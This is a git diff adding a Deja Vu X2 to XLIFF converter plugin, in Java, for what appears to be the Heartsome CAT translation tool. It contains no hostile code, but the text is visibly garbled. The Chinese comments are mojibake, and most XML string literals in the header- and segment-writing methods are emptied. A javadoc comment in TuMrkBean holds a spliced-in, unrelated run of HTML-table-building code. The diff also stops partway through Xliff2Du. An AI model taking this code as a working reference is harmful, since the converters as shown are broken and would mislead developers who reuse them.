ObservableMapLabelProvider( +// attributeMaps)); +// comboViewer.setInput(Observables.staticObservableList(model.getSupportTypes(),ConverterBean.class)); + + comboViewer.setInput(model.getSupportTypes()); + IViewerObservableValue selection=ViewersObservables.observeSingleSelection(comboViewer); + IObservableValue observableValue=BeansObservables.observeDetailValue(selection, "name", ConverterBean.class); + context.bindValue(observableValue, BeansObservables + .observeValue(model, + "selectedType")); + } +} diff --git a/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/model/ConverterViewModel.java b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/model/ConverterViewModel.java new file mode 100644 index 0000000..3465d2d --- /dev/null +++ b/hsconverter/net.heartsome.cat.convert.ui.example/src/net/heartsome/cat/convert/ui/model/ConverterViewModel.java @@ -0,0 +1,35 @@ +package net.heartsome.cat.convert.ui.model; + +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.ConverterTracker; + +import org.osgi.framework.BundleContext; + +public class ConverterViewModel extends ConverterTracker { + + public ConverterViewModel(BundleContext bundleContext, String direction) { + super(bundleContext, direction); + } + + @Override + public Map convert(Map parameters) { + Converter converter=getConverter(); + if (converter != null) { + System.out.println(""+converter.getName()); + try { + converter.convert(null, null); + } catch (ConverterException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + Map result=new HashMap(1); + result.put("name", converter.getName()); + return result; + } + return null; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/.classpath b/hsconverter/net.heartsome.cat.converter.DejaVuX2/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/.project b/hsconverter/net.heartsome.cat.converter.DejaVuX2/.project new file mode 100644 index 0000000..9de7211 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.DejaVuX2 + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.DejaVuX2/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.DejaVuX2/META-INF/MANIFEST.MF new file mode 100644 index 0000000..1bf82fb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/META-INF/MANIFEST.MF @@ -0,0 +1,13 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter DejaVu +Bundle-SymbolicName: net.heartsome.cat.converter.DejaVuX2 +Bundle-Version: 8.0.1.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.converter.deja_vu_x2.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/build.properties b/hsconverter/net.heartsome.cat.converter.DejaVuX2/build.properties new file mode 100644 index 0000000..34d2e4d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/build.properties @@ -0,0 +1,4 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/Activator.java b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/Activator.java new file mode 100644 index 0000000..e526bed --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/Activator.java @@ -0,0 +1,81 @@ +package net.heartsome.cat.converter.deja_vu_x2; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator implements BundleActivator { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.converter.Deja_Vu_X2"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + /** deja vu x2文件转æ¢è‡³xliff文件的æœåŠ¡æ³¨å†Œå™¨ */ +// @SuppressWarnings("rawtypes") + private ServiceRegistration du2XliffSR; + /** xliff文件转æ¢è‡³deja vu x2文件的æœåŠ¡æ³¨å†Œå™¨ */ +// @SuppressWarnings("rawtypes") + private ServiceRegistration xliff2DuSR; + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + plugin = this; + + Converter du2Xliff = new Du2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Du2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Du2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Du2Xliff.TYPE_NAME_VALUE); + du2XliffSR = ConverterRegister.registerPositiveConverter(context, du2Xliff, properties); + + Converter xliff2Du = new Xliff2Du(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Du.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Du.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Du.TYPE_NAME_VALUE); + xliff2DuSR = ConverterRegister.registerReverseConverter(context, xliff2Du, properties); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + if (du2XliffSR != null) { + du2XliffSR.unregister(); + du2XliffSR = null; + } + if (xliff2DuSR != null) { + xliff2DuSR.unregister(); + xliff2DuSR = null; + } + plugin = null; + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/Du2Xliff.java b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/Du2Xliff.java new file mode 100644 index 0000000..b598bce --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/Du2Xliff.java @@ -0,0 +1,394 @@ +package net.heartsome.cat.converter.deja_vu_x2; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.deja_vu_x2.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * Deja Vu X2 çš„åŒè¯­æ–‡ä»¶çš„æ­£å‘转æ¢å™¨ã€‚ + * @author robert 2012-007-09 + */ +public class Du2Xliff implements Converter{ + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "xlf"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.DU"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "DUXLIFF to XLIFF Conveter"; + + public Map convert(Map args, + IProgressMonitor monitor) throws ConverterException { + Du2XliffImpl converter = new Du2XliffImpl(); + return converter.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + class Du2XliffImpl{ + /** æºæ–‡ä»¶ */ + private String inputFile; + /** 转æ¢æˆçš„XLIFF文件(临时文件) */ + private String xliffFile; + /** 骨架文件(临时文件) */ + private String skeletonFile; + /** æºè¯­è¨€ */ + private String userSourceLang; + /** 目标语言 */ + private String targetLang; + /** 转æ¢çš„ç¼–ç æ ¼å¼ */ + private String srcEncoding; + /** 将数æ®è¾“出到XLIFFæ–‡ä»¶çš„è¾“å‡ºæµ */ + private FileOutputStream output; + + private boolean lockXtrans; + private boolean lock100; + + private boolean isSuite; + /** 转æ¢å·¥å…·çš„ID */ + private String qtToolID; + /** 解æžéª¨æž¶æ–‡ä»¶çš„VTDNav实例 */ + private VTDNav sklVN; + private XMLModifier sklXM; + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + monitor.beginTask("Converting...", 5); + Map result = new HashMap(); + + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + targetLang = params.get(Converter.ATTR_TARGET_LANGUAGE); + userSourceLang = params.get(Converter.ATTR_SOURCE_LANGUAGE); + srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + lockXtrans = false; + if (Converter.TRUE.equals(params.get(Converter.ATTR_LOCK_XTRANS))) { + lockXtrans = true; + } + + lock100 = false; + if (Converter.TRUE.equals(params.get(Converter.ATTR_LOCK_100))) { + lock100 = true; + } + + try { + output = new FileOutputStream(xliffFile); + copyFile(inputFile, skeletonFile); + parseSkeletonFile(); + writeHeader(); + analyzeNodes(); + + writeString("\n"); + writeString("\n"); + writeString(""); + + sklXM.output(skeletonFile); + + }catch (Exception e) { + e.printStackTrace(); + String errorTip = Messages.getString("du2Xlf.msg1") + "\n" + e.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e); + }finally{ + try { + output.close(); + } catch (Exception e2) { + e2.printStackTrace(); + String errorTip = Messages.getString("du2Xlf.msg1") + "\n" + e2.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e2); + } + monitor.done(); + } + + return result; + } + + + /** + * 解æžéª¨æž¶æ–‡ä»¶ï¼Œæ­¤æ—¶çš„骨架文件的内容就是æºæ–‡ä»¶çš„内容 + * @throws Exception + */ + private void parseSkeletonFile() throws Exception{ + String errorInfo = ""; + VTDGen vg = new VTDGen(); + if (vg.parseFile(skeletonFile, true)) { + sklVN = vg.getNav(); + sklXM = new XMLModifier(sklVN); + }else { + errorInfo = MessageFormat.format(Messages.getString("du.parse.msg1"), + new Object[]{new File(inputFile).getName()}); + throw new Exception(errorInfo); + } + } + + private void writeString(String string) throws IOException { + output.write(string.getBytes("utf-8")); //$NON-NLS-1$ + } + + /** + * 写下XLIFF文件的头节点 + */ + private void writeHeader() throws IOException { + writeString("\n"); + writeString("\n"); + writeString("\n"); + writeString("
    \n"); + writeString(" \n"); + String crc = ""; + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("utf-8")) + "\""; + } + writeString(" \n"); + writeString(" \n"); + writeString(" \n"); + writeString(" " + + srcEncoding + "\n"); + writeString("
    \n"); + writeString("\n"); + } + + + /** + * 分æžæ¯ä¸€ä¸ªèŠ‚点 + * @throws Exception + */ + private void analyzeNodes() throws Exception{ + AutoPilot ap = new AutoPilot(sklVN); + AutoPilot mrkAP = new AutoPilot(sklVN); + VTDUtils vu = new VTDUtils(sklVN); + String xpath = "/xliff/file/body//trans-unit"; + String srxMrkXpath = "./seg-source//mrk[@mtype=\"seg\"]"; + String tgtMrkXpath = "./target//mrk[@mtype=\"seg\"]"; + //存储æºæ–‡çš„集åˆï¼Œkey为mrk节点的mid。 + Map srcMap = new LinkedHashMap(); + //存储译文的集åˆï¼Œkey为mrk节点的mid。 + Map tgtMap = new LinkedHashMap(); + //针对骨架文件的æ¯ä¸€ä¸ªæºæ–‡èŠ‚点的mrkä¿å­˜å ä½ç¬¦ID + Map segMap = new HashMap(); + ap.selectXPath(xpath); + int attrIdx = -1; + //xliff 文件的 trans-unit 节点的 id 值 + int segId = 0; + while (ap.evalXPath() != -1) { + // æ¸…é™¤æ‰€æœ‰æ•°æ® + srcMap.clear(); + tgtMap.clear(); + sklVN.push(); + mrkAP.resetXPath(); + mrkAP.selectXPath(srxMrkXpath); + while (mrkAP.evalXPath() != -1) { + // 先获å–出节点mrk的属性mid的值 + attrIdx = sklVN.getAttrVal("mid"); + String mid; + if (attrIdx == -1 || "".equals(mid = sklVN.toString(attrIdx))) { + continue; + } + String srcContent = vu.getElementContent(); + if (srcContent != null && !"".equals(srcContent)) { + srcMap.put(mid, new TuMrkBean(mid, srcContent, null, true)); + //开始填充å ä½ç¬¦ + insertPlaceHolder(vu, segId); + segMap.put(mid, segId); + segId ++; + } + } + sklVN.pop(); + + // 开始处ç†éª¨æž¶æ–‡ä»¶çš„è¯‘æ–‡ä¿¡æ¯ + //这是判断状æ€æ˜¯å¦ä¸ºfinish + boolean isApproved = false; + if ((attrIdx = sklVN.getAttrVal("approved")) != -1) { + if ("yes".equals(sklVN.toString(attrIdx))) { + isApproved = true; + } + } + //是å¦é”定 + boolean isLocked = false; + if ((attrIdx = sklVN.getAttrVal("translate")) != -1) { + if ("no".equals(sklVN.toString(attrIdx))) { + isLocked = true; + } + } + + sklVN.push(); + mrkAP.resetXPath(); + mrkAP.selectXPath(tgtMrkXpath); + while (mrkAP.evalXPath() != -1) { + attrIdx = sklVN.getAttrVal("mid"); + String mid; + if (attrIdx == -1 || "".equals(mid = sklVN.toString(attrIdx))) { + continue; + } + //注æ„两个填充å ä½ç¬¦æ–¹æ³•çš„ä½ç½®ä¸åŒã€‚ + if (segMap.get(mid) != null) { + insertPlaceHolder(vu, segMap.get(mid)); + TuMrkBean tgtBean = new TuMrkBean(); + tgtBean.setSource(false); + tgtBean.setLocked(isLocked); + + String content = vu.getElementContent(); + if (content != null && !"".equals(content)) { + tgtBean.setContent(content); + } + + analysisTuMrkStatus(sklVN, vu, tgtBean, mid, isApproved); + tgtMap.put(mid, tgtBean); + } + } + + //开始填充数æ®åˆ°XLIFF文件 + for(Entry srcEntry : srcMap.entrySet()){ + String key = srcEntry.getKey(); //这个key是mid + TuMrkBean srcBean = srcEntry.getValue(); + TuMrkBean tgtBean = tgtMap.get(key) == null ? new TuMrkBean() : tgtMap.get(key); + int curSegId = segMap.get(key); + + writeSegment(srcBean, tgtBean, curSegId); + } + sklVN.pop(); + } + } + + /** + * 分æžæ¯ä¸€ä¸ªæ–‡æœ¬æ®µçš„çŠ¶æ€ + * @param vn + * @param vu + * @param tgtBean + * @param mid target节点下å­èŠ‚点mrkçš„mid属性,å³å”¯ä¸€id值 + */ + private void analysisTuMrkStatus(VTDNav vn, VTDUtils vu, TuMrkBean tgtBean, String mid, boolean isApproved) throws Exception { + vn.push(); + String status = ""; //一个空字符串代表未翻译 + if (isApproved) { + status = "finish"; + }else { + String xpath = "ancestor::target"; + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(xpath); + if(ap.evalXPath() != -1){ + int attrIdx = -1; + if ((attrIdx = vn.getAttrVal("state")) != -1) { + status = vn.toString(attrIdx); + } + } + } + tgtBean.setStatus(status); + vn.pop(); + } + + /** + * 给剔去翻译内容åŽçš„骨架文件填充å ä½ç¬¦ + * @throws Exception + */ + private void insertPlaceHolder(VTDUtils vu, int seg) throws Exception{ + String mrkHeader = vu.getElementHead(); + String newMrkStr = mrkHeader + "%%%"+ seg +"%%%" + ""; + sklXM.remove(); + sklXM.insertAfterElement(newMrkStr.getBytes(srcEncoding)); + } + + /** + * å‘XLIFF文件输入新生æˆçš„trans-unit节点 + * @param srcContent + * @param tgtContent + * @param segId + * @throws Exception + */ + private void writeSegment(TuMrkBean srcBean, TuMrkBean tgtBean, int segId) throws Exception{ + String srcContent = srcBean.getContent(); + StringBuffer tuSB = new StringBuffer(); + String status = tgtBean.getStatus() == null ? "" : tgtBean.getStatus(); + + String tgtStatusStr = ""; + String tuAttrStr = ""; + boolean isApproved = false; + //具体的æ„æ€åŠä¸ŽR8的转æ¢è¯·æŸ¥çœ‹tgtBean.getStatus()的注释。 + if ("needs-translation".equals(status) || "".equals(status)) { + if (tgtBean.getContent() != null && tgtBean.getContent().length() >= 1) { + tgtStatusStr += " state=\"new\""; + } + }else if ("finish".equals(status)) { + isApproved = true; + tgtStatusStr += " state=\"translated\""; + }else if ("needs-review-translation".equals(status)) { + //ç–‘é—® + tuAttrStr += " hs:needs-review=\"yes\""; + } + tuAttrStr += isApproved ? " approved=\"yes\"" : ""; + tuAttrStr += tgtBean.isLocked() ? " translate=\"no\"" : ""; + + tuSB.append(" \n"); + tuSB.append(" " + srcContent + "\n"); + if (!tgtBean.isTextNull()) { + String tgtContent = tgtBean.getContent(); + tuSB.append(" " + + tgtContent + "\n"); + } + tuSB.append(" \n"); + writeString(tuSB.toString()); + } + } +//----------------------------------------------------Du2XliffImpl 结æŸæ ‡å¿—--------------------------------------------// + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/TuMrkBean.java b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/TuMrkBean.java new file mode 100644 index 0000000..6df0566 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/TuMrkBean.java @@ -0,0 +1,118 @@ +package net.heartsome.cat.converter.deja_vu_x2; + +import java.util.LinkedList; +import java.util.List; + +/** + * 这是sdlXliff文件trans-unitï¼source或target节点下mrk[mtype='seg']节点的内容 pojoç±» + * @author robert 2012-06-29 + */ +public class TuMrkBean { + private String mid; + private String content; + private boolean isSource; + private String comment; + + /** + *
    deja vu x2 xliff文件的状æ€ï¼Œä¸‹é¢æ˜¯duxlf至r8 xliff文件状æ€çš„转æ¢
    + *
    1) { + htmlStr.append(" colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append(" rowspan='" + rowspan + "'"); + } + htmlStr.append(">

    " + value + "

    1) { + htmlStr.append(" colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append(" rowspan='" + rowspan + "'"); + } + htmlStr.append(">

    " + value + "

    1) { + htmlStr.append(" colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append(" rowspan='" + rowspan + "'"); + } + htmlStr.append(">

    "); + if (align.equals("center")) { + if (num > 0) { + for (int i = 1; i <= num; i++) { + htmlStr.append(" "); + } + } + htmlStr.append(value); + if (num > 0) { + for (int i = 1; i <= num; i++) { + htmlStr.append(" "); + } + } + } else if (align.equals("left")) { + htmlStr.append(value); + if (num > 0) { + for (int i = 1; i <= num * 2; i++) { + htmlStr.append(" "); + } + } + } else if (align.equals("right")) { + if (num > 0) { + for (int i = 1; i <= num * 2; i++) { + htmlStr.append(" "); + } + } + htmlStr.append(value); + } else { + htmlStr.append(value); + } + htmlStr.append("

    1) { + htmlStr.append(" colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append(" rowspan='" + rowspan + "'"); + } + htmlStr.append(">

    "); + if (align.equals("center")) { + if (num > 0) { + for (int i = 1; i <= num; i++) { + htmlStr.append(" "); + } + } + htmlStr.append(value); + if (num > 0) { + for (int i = 1; i <= num; i++) { + htmlStr.append(" "); + } + } + } else if (align.equals("left")) { + htmlStr.append(value); + if (num > 0) { + for (int i = 1; i <= num * 2; i++) { + htmlStr.append(" "); + } + } + } else if (align.equals("right")) { + if (num > 0) { + for (int i = 1; i <= num * 2; i++) { + htmlStr.append(" "); + } + } + htmlStr.append(value); + } else { + htmlStr.append(value); + } + htmlStr.append("

    1) { + htmlStr.append(" colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append(" rowspan='" + rowspan + "'"); + } + htmlStr.append(">

    " + value + "

    1) { + htmlStr.append(" colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append(" rowspan='" + rowspan + "'"); + } + htmlStr.append(">

    " + value + "

    1) { + htmlStr.append(" colspan='" + colspan + "'"); + } + if (rowspan > 1) { + htmlStr.append(" rowspan='" + rowspan + "'"); + } + if (bold) { + htmlStr.append(">" + value + "
    + * + * + * + * + *
    duxlfR8 xliff备注
    needs-translation对应R8的未翻译与è‰ç¨¿
    needs-review-translationç–‘é—®
    finish在du中的tu节点设置approved="yes"并在target节点上设置state="translated",对应R8为已ç»æ‰¹å‡†
    + */ + private String status; + /** 是å¦é”定 + *
    在R8中的é”定格å¼ä¸º < trans-unit translate="no"> ... </trans-unit>, + *
    deja vu x2中与之一样
    + */ + private boolean isLocked; + + public TuMrkBean(){} + + public TuMrkBean(String mid, String content, String status, boolean isSource){ + this.mid = mid; + this.content = content; + this.isSource = isSource; + this.status = status; + } + + /** + * 判断当å‰mrk节点的文本是å¦ä¸ºç©º + * @return + */ + public boolean isTextNull(){ + if (content == null || "".equals(content)) { + return true; + } + return false; + } + + + public String getMid() { + return mid; + } + + public void setMid(String mid) { + this.mid = mid; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + + public boolean isSource() { + return isSource; + } + + public void setSource(boolean isSource) { + this.isSource = isSource; + } + + /** + *
    deja vu x2 xliff文件的状æ€ï¼Œä¸‹é¢æ˜¯duxlf至r8 xliff文件状æ€çš„转æ¢
    + * + * + * + * + * + *
    duxlfR8 xliff备注
    needs-translation对应R8的未翻译与è‰ç¨¿
    needs-review-translationç–‘é—®
    finish在du中的tu节点设置approved="yes"并在target节点上设置state="translated",对应R8为已ç»æ‰¹å‡†
    + */ + public String getStatus() { + return status; + } + + public void setStatus(String status) { + this.status = status; + } + /** 是å¦é”定 + *
    在R8中的é”定格å¼ä¸º < trans-unit translate="no"> ... </trans-unit>, + *
    而在sdl中这ç§è¡¨è¾¾æ–¹å¼ä¸ºä¸éœ€ç¿»è¯‘,å³ä¸ä¼šåŠ è½½åˆ°ç¿»è¯‘工具界é¢ä¸­ã€‚
    + */ + public boolean isLocked() { + return isLocked; + } + + public void setLocked(boolean isLocked) { + this.isLocked = isLocked; + } + + public String getComment() { + return comment; + } + + public void setComment(String comment) { + this.comment = comment; + } + + + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/Xliff2Du.java b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/Xliff2Du.java new file mode 100644 index 0000000..2076604 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.DejaVuX2/src/net/heartsome/cat/converter/deja_vu_x2/Xliff2Du.java @@ -0,0 +1,399 @@ +package net.heartsome.cat.converter.deja_vu_x2; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.deja_vu_x2.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +public class Xliff2Du implements Converter{ + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "xlf"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.DU"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to DUXLIFF Conveter"; + + public Map convert(Map args, IProgressMonitor monitor) + throws ConverterException { + Xliff2DuImpl xliff2DuImpl = new Xliff2DuImpl(); + return xliff2DuImpl.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + class Xliff2DuImpl{ + /** 逆转æ¢çš„结果文件 */ + private String outputFile; + /** 骨架文件的解æžæ¸¸æ ‡ */ + private VTDNav outputVN; + /** 骨架文件的修改类实例 */ + private XMLModifier outputXM; + /** 骨架文件的查询实例 */ + private AutoPilot outputAP; + /** hsxliff文件的解æžæ¸¸æ ‡ */ + private VTDNav hsxlfVN; + /** The encoding. */ + private String encoding; + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸¤å¤§éƒ¨åˆ†å…± 10 个任务,其中加载 xliff æ–‡ä»¶å  4,替æ¢è¿‡ç¨‹å  6。 + monitor.beginTask("Converting...", 10); + Map result = new HashMap(); + String sklFile = params.get(Converter.ATTR_SKELETON_FILE); + String xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + outputFile = params.get(Converter.ATTR_TARGET_FILE); + + try { + //先将骨架文件的内容拷è´åˆ°ç›®æ ‡æ–‡ä»¶ï¼Œå†è§£æžç›®æ ‡æ–‡ä»¶ + copyFile(sklFile, outputFile); + parseOutputFile(outputFile, xliffFile); + parseXlfFile(xliffFile); + ananysisXlfTU(); + + outputXM.output(outputFile); + } catch (Exception e) { + e.printStackTrace(); + String errorTip = Messages.getString("xlf2du.msg1") + "\n" + e.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e); + }finally{ + monitor.done(); + } + return result; + + } + + /** + * 解æžç»“果文件(解æžæ—¶è¿™ä¸ªç»“果文件还是一个骨架文件) + * @param file + * @throws Exception + */ + private void parseOutputFile(String file, String xliffFile) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(file, true)) { + outputVN = vg.getNav(); + outputXM = new XMLModifier(outputVN); + outputAP = new AutoPilot(outputVN); + outputAP.declareXPathNameSpace("sdl", "http://sdl.com/FileTypes/SdlXliff/1.0"); + }else { + String errorInfo = MessageFormat.format(Messages.getString("du.parse.msg2"), + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 解æžè¦è¢«é€†è½¬æ¢çš„xliff文件 + * @param xliffFile + * @throws Exception + */ + private void parseXlfFile(String xliffFile) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(xliffFile, true)) { + hsxlfVN = vg.getNav(); + }else { + String errorInfo = MessageFormat.format(Messages.getString("du.parse.msg1"), + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 分æžxliff文件的æ¯ä¸€ä¸ª trans-unit 节点 + * @throws Exception + */ + private void ananysisXlfTU() throws Exception { + AutoPilot ap = new AutoPilot(hsxlfVN); + AutoPilot childAP = new AutoPilot(hsxlfVN); + VTDUtils vu = new VTDUtils(hsxlfVN); + String xpath = "/xliff/file/body//trans-unit"; + String srcXpath = "./source"; + String tgtXpath = "./target"; + ap.selectXPath(xpath); + int attrIdx = -1; + //trans-unitçš„id,对应sdl文件的å ä½ç¬¦å¦‚%%%1%%% 。 + String segId = ""; + TuMrkBean srcBean = null; + TuMrkBean tgtBean = null; + while (ap.evalXPath() != -1) { + if ((attrIdx = hsxlfVN.getAttrVal("id")) == -1) { + continue; + } + srcBean = new TuMrkBean(); + tgtBean = new TuMrkBean(); + segId = hsxlfVN.toString(attrIdx); + + //处ç†source节点 + hsxlfVN.push(); + childAP.selectXPath(srcXpath); + if (childAP.evalXPath() != -1) { + String srcContent = vu.getElementContent(); + srcContent = srcContent == null ? "" : srcContent; + srcBean.setContent(srcContent); + srcBean.setSource(true); + } + hsxlfVN.pop(); + + //处ç†target节点 + String status = ""; //状æ€ï¼Œé’ˆå¯¹target节点,空字符串为未翻译 + hsxlfVN.push(); + 